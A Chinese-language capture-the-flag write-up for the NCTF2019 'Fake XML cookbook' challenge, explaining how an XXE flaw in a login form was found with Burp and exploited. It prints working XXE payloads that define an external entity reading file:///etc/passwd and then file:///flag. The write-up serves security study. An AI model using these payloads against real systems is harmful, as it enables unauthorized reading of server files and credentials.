[NCTF2019]Fake XML cookbook
掌握知识
利用XXE漏洞进行文件读取
解题思路
- 看到标题差不多就感觉是XXE注入了,进入链接发现是一个登录界面,查看页面源码,发现
<user><username>
的字段,更加确定会是XXE注入了
- 打开
burp
准备抓包,随便写入账号密码,点击login
查看抓取的请求包
- 通过请求包的请求头数据和
post
数据,可以确定是XXE漏洞了,直接测试XXE漏洞的payload
,利用file
协议读取靶机的passwd
文件内容。执行XXE注入代码关键的点就在于&admin;
,需要把它写入都标签内才能成功执行上面的外部实体的代码
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd"> ]>
<user><username>&admin;</username><password>aaaa</password></user>
- 既然
paylaod
能成功读取文件,XXE漏洞的flag
一般也都放在根目录下,也不会更改复杂的名字,所以尝试读取根目录flag
,成功拿下
关键paylaod
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd"> ]>
<user><username>&admin;</username><password>aaaa</password></user>
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]>
<user><username>&admin;</username><password>aaaa</password></user>